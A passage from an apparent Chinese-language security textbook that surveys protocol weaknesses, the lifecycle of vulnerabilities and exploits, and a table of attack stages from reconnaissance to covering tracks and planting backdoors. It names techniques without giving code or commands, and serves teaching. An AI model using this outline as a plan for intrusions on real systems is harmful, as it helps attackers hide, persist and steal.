(2)互聯層:互聯網最基礎的IP協議在進行路由轉PO時只查看目標地址,而並未對源地址進行驗證,因此攻擊者可以實施IP源地址欺騙,假冒其他IP地址發送數據包,以達到隱藏攻擊源的目的。用於將IP地址轉化為MAC地址的ARP協議(Address Resolution Protocol)也存在設計上的缺陷,使得內部網中的惡意主機可以進行ARP欺騙,冒充網關或其他主機的IP地址,實施竊聽或中間人攻擊。ICMP協議(Internet Control Message Protocol)用於在TCP/IP 網路中發送控制消息,提供可能發生在通信環境中的各種問題反饋,ICMP協議安全缺陷攻擊如Smurf攻擊、Ping of Death等。

(3)傳輸層:傳輸層最重要的TCP協議也是基於通信雙方都是善意合作這一假設進行設計的,但實際情況中攻擊者可能會引入一系列在設計之初未曾考慮到的攻擊機制,如針對三次握手連接建立過程的SYN Flooding拒絕服務攻擊,利用斷開連接功能弱點的TCP RST攻擊,針對TCP序列號可預知安全問題進行攻擊的TCP會話劫持等。

(4)應用層:早期的互聯網應用層協議如HTTP、FTP、POP3、SMTP等均採用明文編碼,存在敏感信息竊聽、篡改與身份假冒等攻擊風險。

網路檢測與防禦技術則包括網路嗅探與協議分析、入侵檢測、防火牆、VPN等。本書將在第3章~第6章介紹網路安全攻防的相關基礎知識和實踐技能。

系統安全攻防

系統安全攻防是網路攻防技術的核心組成部分,它的底層基礎是軟體程序中存在的安全漏洞(Software Vulnerability),軟體安全漏洞是指信息系統的軟體程序中存在的缺陷或不適當的配置,它們可使攻擊者在未授權的情況下訪問或破壞系統,導致信息系統面臨安全風險。軟體安全漏洞的整個生命周期如圖1-9所示,包括如下7個部分。

(1)安全漏洞研究與挖掘:由高技術水平的黑客承擔,主要利用源代碼審核(白盒測試方法)、逆向工程(灰盒測試方法)、Fuzz測試(黑盒測試方法)等方法,挖掘流行軟體中存有的可被利用的安全漏洞。

(2)滲透攻擊(Exploit)代碼開發與測試:在安全漏洞挖掘的同時,黑客們會同時開發概念驗證性的滲透攻擊代碼,用於驗證找到的安全漏洞是否確實存在,並確認其是否可被利用。

(3)安全漏洞和滲透攻擊代碼在封閉團隊中流傳:在發現安全漏洞並給出滲透攻擊代碼後,負責任的「白帽子」們採取的處理策略是首先通知廠商進行修補,而在廠商給出補丁後再進行公布;而「黑帽子」們則一般在封閉的小規模團隊中進行秘密地共享,以充分地利用這些安全漏洞和滲透攻擊代碼所帶來的攻擊價值。

(4)安全漏洞和滲透攻擊代碼開始擴散:由於各種原因,在封閉團隊中秘密共享的安全漏洞和滲透攻擊代碼最終會被披露出來,在互聯網上得以公布,「黑帽子」們會快速對其進行掌握和應用,並在社區中開始快速擴散。

(5)惡意程序出現並開始傳播:「黑帽子」們將在掌握安全漏洞和滲透攻擊代碼基礎上,進一步開發更易使用、更具自動化傳播能力的惡意程序,並通過黑客社區社會組織結構和互聯網進行傳播。在此過程中(或之前和之後),廠商完成補丁程序的開發和測試,並進行發布。

(6)滲透攻擊代碼/惡意程序大規模傳播並危害互聯網:廠商發布補丁程序和安全警報將更進一步地讓整個黑客社區了解出現了新的安全漏洞和相應的滲透攻擊代碼、惡意程序,更多的「黑帽子」們將從互聯網和其社會關係獲得並使用這些惡意程序,對互聯網的危害也在這個階段達到頂峰。

(7)滲透攻擊代碼/攻擊工具/惡意程序逐漸消亡:在廠商補丁程序、安全公司提供的檢測和移除機制得到廣泛應用後,相應的滲透攻擊代碼、惡意程序將被「黑帽子」們逐漸拋棄,從而慢慢地消亡。

網路攻防技術與實踐

圖1-9 軟體安全漏洞的生命周期

在安全漏洞生命周期中,從安全漏洞被發現到廠商發布補丁程序用於修補該漏洞之前的這段期間,被黑客社區普遍地稱為「0day」,由於在這段時間內,黑客們攻擊存有該安全漏洞的目標可以達到百分之百的成功率,同時也可以躲避檢測,因此「0day」的安全漏洞和對應的滲透攻擊代碼對於黑客社區具有很高的價值,挖掘「0day」安全漏洞並給出滲透攻擊代碼也成為高水平黑客的追求目標。即使在廠商發布了針對該安全漏洞的補丁程序和安全警報後,補丁程序也需要一段時間被接受、下載和應用,因此這段時間中該安全漏洞對「黑帽子」社群而言仍具有較高的價值,這段期間被稱為「1day」。安全漏洞及滲透攻擊代碼的入侵使用頻度和分布範圍在生命周期各個環節的變化曲線如圖1-10所示,「黑帽子」和「白帽子」社群在安全漏洞、滲透攻擊與惡意代碼、安全檢測與防禦機制上的攻防博弈與競賽就構成了系統攻防的核心內容。

本書將在第7章~第9章介紹系統安全攻防的基本知識與實踐技能,並在第10章介紹系統安全攻防的技術基礎——軟體安全攻防。

Web安全攻防

Web安全攻防是目前網路攻防領域中的熱點問題,同時也是系統安全攻防與網路安全攻防在Web這一互聯網主流應用領域上的匯集,其內容包括Web服務器安全攻防、Web應用程序安全攻防、Web客戶端瀏覽器安全攻防及Web傳輸協議安全攻防。本書將在第11章及第12章中對Web安全攻防技術進行探索。

網路攻防技術與實踐

圖1-10 安全漏洞及滲透攻擊代碼的入侵使用頻度和分布範圍隨時間的變化曲線

1.3.2 網路攻擊剖析圖

被信息安全業界奉為聖經的《黑客大曝光》一書在封底給出了網路攻擊的路線剖析圖,將網路攻擊分為踩點、掃描、查點、獲取訪問、特權提升、拒絕服務、偷盜竊取、掩蹤滅跡和創建後門這9個步驟。而這9個步驟又分為信息收集、實施攻擊、成功之後這三個階段,如圖1?11所示。而這9個攻擊步驟的目標與包含技術如表1?1所示,本書將在之後的章節中結合網路攻擊基本路徑圖,來展開對各類網路攻防技術的介紹。

網路攻防技術與實踐

圖1-11 網路攻擊路徑剖析圖

表1-1網路攻擊步驟、目標及包含主要攻擊技術列表

攻擊階段

攻擊步驟

目 標

攻擊技術

信息收集

踩點

對於一個外科手術式攻擊來說,確定目標地址範圍、名字空間查詢和信息攫取是核心任務,其關鍵在於不要漏掉任何細節

Web搜尋與挖掘、DNS和IP查詢、網路拓撲偵察

掃描

對目標系統所提供的監聽服務進行評估分析和確定,能使攻擊者將注意力集中在最有希望成功的攻擊途徑上

Ping掃描、端口掃描、操作系統探測、網路服務探測、安全漏洞掃描

查點

當攻擊者準備確定有效的用戶帳號或疏於保護的共享資源時,更多的入侵探詢開始了

網路服務旗標抓取、網路服務查點、用戶帳號查點

實施攻擊

獲取訪問

收集足夠信息之後,從而胸有成竹地嘗試獲取目標系統訪問權

密碼竊聽,共享文件的蠻力攻擊,攫取密碼文件,緩沖區溢出

特權提升

如果上述步驟只獲得用戶級的訪問權限,攻擊者就會尋求對系統的完全控制

密碼破解,利用已知漏洞或脆弱點

拒絕服務攻擊

如果攻擊者入侵不成功,他們也許會使用早準備好的漏洞代碼來使目標系統癱瘓

SYN Flood,ICMP技術,同一src/dst SYN請求,重疊fragment/offset,錯誤(bugs),Out of bounds TCP,options(OOB)),DDOS

成功之後

偷竊

再次進行信息攫取,以確定可信系統的入侵機制和途徑

評估可信系統的堅固度,探索明文密碼

掩蹤滅跡

一旦目標系統已全部控制,當務之急便是掩蓋蹤跡,以防系統管理員發覺

清除日志記錄,掩藏工具

創建後門

在系統的不同部分部署陷阱和後門,以便在入侵者一時興起時,仍能從容獲得特權訪問

創建「無賴」帳號,安排批命令作業,感染初啟文件,植入遠程控制服務,安裝監控機制,利用特洛伊木馬替換應用